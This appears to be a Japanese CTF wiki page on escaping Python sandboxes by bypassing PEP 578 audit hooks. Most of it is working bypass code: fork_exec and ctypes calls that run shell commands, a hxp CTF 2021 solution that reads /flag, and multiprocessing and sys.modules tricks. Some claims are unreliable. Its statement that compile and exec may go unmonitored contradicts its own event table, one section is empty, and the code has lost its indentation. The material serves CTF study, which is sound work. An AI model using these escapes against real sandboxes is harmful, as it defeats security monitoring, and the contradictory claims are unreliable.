pyjail wiki

Audit Hooks Bypass

Jan 16, 2024

Overview

Python 3.8 で導入された PEP 578 audit hooks は、セキュリティ監視のためのフック機構。しかし、いくつかの方法でバイパスできる。

Audit Hooks の基本

import sys
def audit_hook(event, args):
print(f"Event: {event}, Args: {args}")
sys.addaudithook(audit_hook)
# 以降、os.system() などが監視される
import os
os.system('id') # Event: os.system, Args: ('id',)

_posixsubprocess.fork_exec

audit hook をトリガーしない低レベル関数。

import _posixsubprocess
import os
# fork_exec は audit hook を呼ばない
_posixsubprocess.fork_exec(
[b'/bin/sh', b'-c', b'id'], # args
[b'/bin/sh'], # executable_list
True, # close_fds
(), # pass_fds
'', # cwd
{}, # env
-1, -1, -1, # stdin, stdout, stderr
-1, -1, # errpipe_read, errpipe_write
False, # restore_signals
False, # call_setsid
-1, -1, -1, # gid, extra_groups, uid
-1, # child_umask
None # preexec_fn
)

hxp CTF 2021 audited2 の解法

import _posixsubprocess
import os
# pipe を作成
r, w = os.pipe()
# fork_exec でコマンド実行
pid = _posixsubprocess.fork_exec(
[b'/bin/cat', b'/flag'],
[b'/bin/cat'],
True, (), '', {},
-1, w, -1, # stdout を pipe に接続
-1, -1,
False, False,
-1, -1, -1, -1, None
)
# 結果を読み取り
os.close(w)
print(os.read(r, 1024))

ctypes による libc 直接呼び出し

import ctypes
# libc をロード
libc = ctypes.CDLL(None)
# system() を直接呼び出し (audit hook をバイパス)
libc.system(b'id')

sys.modules の操作

import sys
# audit モジュールが使用する参照を破壊
sys.modules['os'] = None
sys.modules['subprocess'] = None
# または modules を空にする
sys.modules.clear()

__builtins__ の audit 関数削除

# audit 関数自体を削除
del sys.audit
del sys.addaudithook

注意: 既に登録されたフックは削除できない。

multiprocessing による回避

import multiprocessing
def evil():
import os
os.system('id')
# 別プロセスでは audit hook が未登録
p = multiprocessing.Process(target=evil)
p.start()

exec によるコード実行

audit hook は特定のイベントのみを監視する。監視されていない操作は検出されない。

# compile + exec は監視されない場合がある
code = compile('__import__("os").system("id")', '<string>', 'exec')
exec(code)

監視されるイベント一覧

イベントトリガー
importモジュールインポート
compileコードコンパイル
execコード実行
os.systemos.system() 呼び出し
subprocess.Popensubprocess 使用
socket.connectネットワーク接続
openファイルオープン

PyAuCalc (0CTF 2020) のアプローチ

ctypes で audit hook 配列を直接操作:

import ctypes
import sys
# Python インタープリタの内部構造にアクセス
# audit hooks 配列を空にする

Tips

  • audit hooks は削除できない、追加のみ可能
  • 子プロセス/スレッドには継承されない場合がある
  • _posixsubprocess は Linux/macOS のみ
  • Windows では _winapi を使用
  • ctypes はほぼ全ての制限をバイパスできる